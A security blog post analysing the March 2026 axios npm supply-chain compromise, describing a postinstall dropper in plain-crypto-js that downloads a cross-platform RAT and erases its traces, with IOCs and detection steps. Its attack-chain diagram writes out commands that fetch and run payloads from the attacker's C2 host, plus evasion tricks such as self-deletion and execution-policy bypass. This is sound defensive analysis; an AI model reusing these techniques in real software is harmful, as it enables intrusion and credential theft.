Poisoned Axios: npm Account Takeover, 50 Million Downloads, and a RAT That Vanishes After Install
On March 30-31, 2026, threat actors published two malicious versions of the popular HTTP library axios (versions 1.14.1 and 0.30.4) to the npm registry. Both versions included a new dependency named plain-crypto-js which, in its 4.2.
Microsoft adds multi-model AI to Copilot Researcher, raising accuracy stakes
On March 30-31, 2026, threat actors published two malicious versions of the popular HTTP library axios (versions 1.14.1 and 0.30.4) to the npm registry. Both versions included a new dependency named plain-crypto-js which, in its 4.2.1 release, contained a fully-featured cross-platform dropper that silently installed a Remote Access Trojan (RAT) on developer machines. The packages have since been removed, and the axios team merged a deprecation workflow on March 31 to formally mark them as compromised on the registry. Any developer who ran npm install on the affected versions during the exposure window should assume their machine is compromised. We tracks this campaign as MSC-2026-3522.
Axios has over 50 million weekly downloads. Even a brief window of exposure in a package of this scale represents serious supply chain risk, particularly given that developer laptops routinely hold SSH keys, cloud credentials, API tokens, and access to production systems.
How the Attack Was Deployed: npm Account Compromise
Versions 1.14.1 and 0.30.4 do not exist anywhere in the axios GitHub repository. There are no git tags, no commits, no release branches corresponding to these version numbers. The most recent legitimate release tag is v1.14.0, published March 27, 2026.
This means the attack did not involve compromising GitHub. The attacker obtained credentials for a maintainer’s npm account and used the npm CLI directly to publish packages, skipping the entire git-based release workflow. For developers who audit their dependencies by checking the GitHub repository, these versions would appear impossible to find.
One additional indicator of account compromise: the npm email address associated with the axios maintainer account was changed to [email protected] around the time of the malicious publish. This is consistent with an attacker updating account recovery details after gaining access to lock out the legitimate owner.
Community member ashishkurmi filed issue #10604 on March 31, noting that related issues reporting the compromise were being deleted shortly after creation, suggesting the attacker may have retained some account access during the incident window.
The axios team responded quickly. On March 31, maintainer DigitalBrainJS merged PR #10591, adding a deprecate.yml GitHub Actions workflow that allows maintainers to manually trigger npm deprecate against a specified version. This marks the packages as deprecated in the registry and warns developers who attempt to install them.
name: Deprecate compromised axios version
on:
workflow_dispatch:
inputs:
version:
description: “Version of axios to deprecate (e.g. 1.14.1)”
required: true
default: “1.14.1”
jobs:
deprecate:
runs-on: ubuntu-latest
permissions:
contents: read
steps:
– name: Setup Node.js
uses: actions/setup-node@v4
with:
node-version: 20
registry-url: https://registry.npmjs.org
Figure 1: The deprecate.yml workflow added by the axios team (PR #10591) to mark compromised versions on the npm registry.
Attack Overview
The attack starts with the axios package.json itself. Both malicious versions (1.14.1 and 0.30.4) were published with [email protected] listed as a new dependency. Any developer running npm install [email protected] would pull in that dependency automatically, with no additional action required. npm resolves and installs the full dependency tree silently.
[email protected] is where the malicious code lives. The package carries a postinstall hook that fires the moment npm finishes installing it. From there, the chain runs in three stages:
The postinstall hook runs setup.js, a heavily obfuscated JavaScript dropper bundled inside plain-crypto-js
The dropper detects the operating system, contacts a C2 (command-and-control) server, and downloads a platform-specific second-stage payload
On macOS, a compiled Mach-O RAT is dropped to /Library/Caches/com.apple.act.mond and starts beaconing to the attacker every 60 seconds; Windows and Linux have equivalent second-stage paths
After the dropper finishes, it erases itself and replaces the package’s own package.json with a pre-staged clean copy that has no postinstall hook. A forensic inspection of the installed package after the fact reveals nothing suspicious.
The Trojan Package: plain-crypto-js v4.2.0 vs v4.2.1
Version 4.2.0 of plain-crypto-js is a clean, if unauthorized, repackaging of the well-known crypto-js library. It contains 53 files, all standard cryptographic primitives with no network calls or install hooks.
Version 4.2.1 added exactly three files.
File
Role
package.json
Modified: added “postinstall”: “node setup.js”
setup.js
New: the dropper (heavily obfuscated, ~3KB)
package.md
New: a clean copy of package.json without the postinstall entry, used for post-execution cleanup
The addition of package.md is a revealing detail. Its only purpose is to overwrite package.json after the dropper runs, eliminating the postinstall hook from the installed package. An engineer auditing dependencies after the infection would see a clean package with no hooks and no setup.js.
The Dropper: Three Platforms, One Script
setup.js is a single minified, heavily obfuscated JavaScript file that runs on install and handles macOS, Windows, and Linux with separate execution paths for each.
Obfuscation
Every sensitive value in the script, module names, file paths, OS identifiers, script content, and the C2 URL, is hidden inside an 18-entry encoded string array. None of these values are readable in the source. To recover them, each entry is reversed, has its base64 padding restored, is base64-decoded, and then passed through a custom XOR cipher keyed on “OrDeR_7077” with an additional constant of 333. The result looks like garbage on the wire but decodes cleanly to readable strings at runtime.
Decoding all 18 entries reveals the full picture: the three Node.js modules the dropper needs (fs, os, child_process), the C2 base URL (http://sfrclak.com:8000/), platform identifiers for each OS, the full script content dropped on each platform, the execution command for each, and the two filenames used in the post-run cleanup (package.json and package.md).
What the dropper does
On execution, the dropper first identifies the operating system, then constructs the full C2 URL by appending the hardcoded campaign ID 6202033 to the base URL, giving http://sfrclak.com:8000/6202033. From there it takes a different path depending on the platform.
On macOS, it writes an AppleScript file to /tmp/6202033. That script contacts the C2 with a POST request whose body is packages.npm.org/product0, a value designed to look like legitimate npm registry traffic, and saves the response binary directly to /Library/Caches/com.apple.act.mond. It then sets the binary executable, runs it with zsh in the background, and removes the loader script. The parent dropper launches this AppleScript detached via nohup osascript, so the install process returns immediately without waiting.
On Windows, the dropper first locates the PowerShell binary using where powershell, then copies it to %PROGRAMDATA%wt.exe. The filename wt.exe is the Windows Terminal binary, chosen to blend in on a filesystem listing. It then writes a VBScript file to the temp directory that uses WScript.Shell to run a hidden cmd.exe window. That window curls the C2 for a PowerShell script (POST body: packages.npm.org/product1), saves it as a .ps1 file, and runs it using the copied PowerShell binary with -w hidden -ep bypass, suppressing any visible window and bypassing execution policy. After the PS1 runs, both temp files are deleted.
On Linux, the path is the most direct: a single shell command downloads a Python script from the C2 (POST body: packages.npm.org/product2) to /tmp/ld.py and runs it with python3 under nohup, detached from the install process.
Self-destruction and cover-up
After launching the platform payload, the dropper executes three cleanup steps in sequence. It deletes itself (setup.js). It deletes the current package.json, which contains the postinstall hook. It then renames package.md, the clean copy of package.json that was bundled into the package, back to package.json. The result is that the installed package directory contains no trace of the dropper, no postinstall hook, and no unexpected files. Any post-install audit of the package looks completely normal.
The campaign ID 6202033 is the only value hardcoded outside the obfuscated array. The C2 URL base is encoded, which means future campaigns can reuse the same dropper infrastructure by publishing a new version with a different encoded URL, the RAT binary itself never needs to change.
The macOS Second Stage: A Full Remote Access Trojan
The payload served to macOS victims is a compiled Mach-O x86_64 binary dropped to /Library/Caches/com.apple.act.mond. The path is chosen to resemble a legitimate Apple daemon name. The binary is not signed with a valid certificate, but the dropper sidesteps this by running codesign –force –deep –sign – to apply an ad-hoc signature before execution, satisfying the basic signing requirement without a valid developer identity.
SHA256: 92ff08773995ebc8d55ec4b8e1a225d0d1e51efa4ef88b8849d0071230c9645a
The binary links against libcurl for C2 communication and nlohmann JSON for structured data handling. The C2 URL is not hardcoded; it is passed in as argv[1] by the AppleScript loader from the dropper. This design means the same compiled binary can be redeployed in future campaigns pointing to different infrastructure by simply changing the dropper.
Initial Beacon
On first execution, the RAT collects a detailed system fingerprint and POSTs it to the C2 as a Base64-encoded JSON object.
{
“hostname”: “macbook-pro.local”,
“username”: “jdoe”,
“version”: “14.4.1”,
“timezone”: “-5”,
“installTimeString”: “2023-09-15 09:22:11”,
“currentTimeString”: “2025-03-21 14:07:33”,
“bootTimeString”: “2025-03-20 08:11:02”,
“cpuType”: “mac_x64”,
“modelName”: “Intel(R) Core(TM) i9-9980HK CPU @ 2.40GHz”,
“processList”: “user pid commandnjdoe 1234 /usr/bin/python3 …”,
“FirstInfo”: “{ /Applications, ~/Library, ~/Application Support … }”
}
Figure 2: Initial beacon JSON structure sent to C2 on first execution.
The installTimeString is read from /var/db/.AppleSetupDone, a file that records when macOS was first configured. Combined with the full process list and directory tree, this initial beacon gives the operator a complete picture of the target: what software is installed, what is currently running, what credentials and config files are likely present.
All HTTP communication uses the User-Agent string mozilla/4.0 (compatible; msie 8.0; windows nt 5.1; trident/4.0), which identifies as Internet Explorer 8 on Windows XP. This is anomalous for any macOS process and detectable in HTTP proxy logs.
Command and Control Protocol
After the initial beacon, the RAT polls the C2 server every 60 seconds via a GET request, waiting for commands. The operator can issue four command types:
peinject receives a Base64-encoded binary payload, writes it to a randomly named hidden file under /private/tmp/, applies chmod 755, ad-hoc signs it with codesign –force –deep –sign -, and executes it with optional parameters. This is the highest-risk capability: it allows the operator to push and run any arbitrary program on the victim machine at any time.
runscript executes arbitrary commands. If the Script field is empty, the Param field is passed directly to /bin/sh. If Script is populated, the Base64-decoded content is written to a temporary .scpt file and executed via /usr/bin/osascript. The latter enables GUI interactions, AppleScript-based keychain access, and dialog spoofing attacks.
rundir triggers a deep enumeration of the filesystem, collecting file names, sizes, creation and modification timestamps, and directory structure.
kill terminates the RAT process.
main() [0x100007A60]
GenerateUID() → random 16-char victim ID
GetOS() → macOS version string
InitDirInfo() → enumerate /Applications, ~/Library, ~/Application Support
Report() → POST initial beacon to C2
loop every 60s:
DoWork() → GET C2 for pending command
peinject → DoActionIjt() [0x100002ECE]
runscript → DoActionScpt() [0x1000042FE]
rundir → InitDirInfo() [0x1000070EF]
kill → exit
Figure 3: Core command dispatch loop in the macOS RAT, reconstructed from function signatures at the documented offsets. Full analysis by Joe DeSimone available at axios_macho_malware.md.
Complete Attack Chain
Developer runs: npm install [email protected] (or 0.30.4)
Attacker published via compromised npm maintainer account
(No corresponding git tags in the axios GitHub repo)
[email protected]
└── [email protected]
└── postinstall: node setup.js
│
├── [macOS]
│ AppleScript → curl POST packages.npm.org/product0
│ → /Library/Caches/com.apple.act.mond (chmod 770)
│ → nohup zsh “…act.mond http://sfrclak.com:8000/6202033”
│
├── [Windows]
│ copy powershell.exe → %PROGRAMDATA%wt.exe
│ VBS → curl POST packages.npm.org/product1 → .ps1
│ → wt.exe -w hidden -ep bypass -file .ps1
│
└── [Linux]
curl POST packages.npm.org/product2 → /tmp/ld.py
→ nohup python3 /tmp/ld.py [C2 URL]
setup.js self-destructs:
unlink(setup.js)
unlink(package.json) ← removes postinstall hook
rename(package.md → package.json) ← package looks clean
RAT beacons every 60s to http://sfrclak.com:8000/6202033
→ operator can push binaries, run shell commands, enumerate files
Impact and Risk Assessment
Developer machines are high-value targets. They typically hold SSH private keys, cloud provider credentials (AWS, GCP, Azure), npm and PyPI publish tokens, .env files for staging and production environments, database connection strings, and VPN certificates. A RAT with arbitrary command execution and binary injection on a developer workstation gives an attacker a persistent foothold that can propagate into production infrastructure.
The 60-second polling loop and the peinject capability mean that an attacker can adapt their intrusion over time. The initial payload may have been an infostealer or credential harvester. Days or weeks later, the same implant can receive a new binary with different capabilities.
CI/CD pipelines are an additional concern. Many organizations run npm install in automated build environments. If the affected axios versions were installed during a build window, the dropper would have run in the CI/CD context, with access to whatever secrets and permissions that environment holds.
The absence of git tags for the malicious versions also means dependency scanning tools that cross-reference npm packages against source repositories may have failed to flag anything unusual. The packages appeared to be valid axios releases by all metadata checks.
Timeline
Date/Time (UTC)
Event
March 27, 2026
axios v1.14.0 published legitimately to npm with corresponding git tag
March 30-31, 2026
Attacker publishes axios v1.14.1 and v0.30.4 via compromised npm account. npm maintainer email changed to [email protected]. No git tags created. plain-crypto-js v4.2.1 included as dependency.
March 31, 01:38 UTC
axios maintainer merges PR #10591 adding deprecate.yml workflow
March 31, 03:00 UTC
Community files issue #10604 publicly reporting the compromise
March 31 (ongoing)
C2 at sfrclak.com:8000 goes offline. Deprecation of malicious versions in progress.
Indicators of Compromise
Network
Indicator
Value
C2 domain
sfrclak.com
C2 IP
142.11.206.73
C2 port
8000
C2 URL
http://sfrclak.com:8000/6202033
User-Agent
mozilla/4.0 (compatible; msie 8.0; windows nt 5.1; trident/4.0)
macOS POST body
packages.npm.org/product0
Windows POST body
packages.npm.org/product1
Linux POST body
packages.npm.org/product2
File System
Indicator
Platform
Notes
/Library/Caches/com.apple.act.mond
macOS
RAT binary
/tmp/6202033
macOS
AppleScript loader, deleted after use
/private/tmp/.XXXXXX
macOS
Injected binaries from peinject commands
%PROGRAMDATA%wt.exe
Windows
Cloned PowerShell binary
%TEMP%6202033.vbs
Windows
VBS wrapper, deleted after use
%TEMP%6202033.ps1
Windows
PS1 payload, deleted after use
/tmp/ld.py
Linux
Python stage-2 payload
File Hashes (macOS RAT)
Algorithm
Hash
SHA256
92ff08773995ebc8d55ec4b8e1a225d0d1e51efa4ef88b8849d0071230c9645a
SHA1
13ab317c5dcab9af2d1bdb22118b9f09f8a4038e
MD5
7a9ddef00f69477b96252ca234fcbeeb
Process and Behavioral
codesign –force –deep –sign – invoked on a binary in /private/tmp/
ps -eo user,pid,command execution by a non-interactive process
osascript with a .scpt file in /tmp/
nohup launch of a file in /Library/Caches/ on macOS
PowerShell invoked with -w hidden -ep bypass from a non-shell parent process
Outbound HTTP POST to port 8000 with body resembling npm registry paths
Detection
npm Audit
Check whether your project directly or transitively depends on plain-crypto-js at any version, and whether the affected axios versions were installed:
npm ls plain-crypto-js
cat package-lock.json | grep -A3 “plain-crypto-js”
# Check if either malicious version is in your lock file
grep -E ‘”axios”.*”(1.14.1|0.30.4)”‘ package-lock.json
Figure 4: Commands to check for the malicious package in a Node.js project.
Network Detection
Block or alert on outbound connections to sfrclak.com and 142.11.206.73:8000 at the firewall and DNS level. In proxy logs, alert on the User-Agent mozilla/4.0 (compatible; msie 8.0; windows nt 5.1; trident/4.0) from any non-Windows host, or from any host making POST requests to port 8000.
If you installed axios 1.14.1 or 0.30.4:
Treat the machine as compromised. Do not use it to access sensitive credentials or production systems until it has been imaged and rebuilt.
Rotate all credentials that were accessible on the machine: SSH keys, cloud provider keys, npm tokens, .env secrets, API keys, database passwords.
Check for the persistence artifacts listed in the IOC table above. Presence of /Library/Caches/com.apple.act.mond on macOS or %PROGRAMDATA%wt.exe on Windows confirms the second stage ran.
Review CI/CD logs for the affected time window. If any pipeline ran npm install with these versions, rotate all secrets used in that environment.
Check your package-lock.json for any reference to plain-crypto-js. If it is present, the package was resolved and the postinstall hook may have run.
Conclusion
This attack demonstrates how effective the npm account compromise is as an initial access vector. The malicious code required no GitHub access, no pull request, no code review bypass. A single stolen npm credential was enough to publish malicious packages under a trusted name with 50 million weekly downloads.
The macOS second stage is professionally written: a compiled C++ binary with structured C2 communication, four distinct operator capabilities including arbitrary binary injection, and architecture designed for infrastructure reuse. The Windows and Linux stages remain unconfirmed pending sample recovery.
*** This is a Security Bloggers Network syndicated blog from Mend authored by Tom Abai. Read the original post at: https://www.mend.io/blog/poisoned-axios-npm-account-takeover-50-million-downloads-and-a-rat-that-vanishes-after-install/
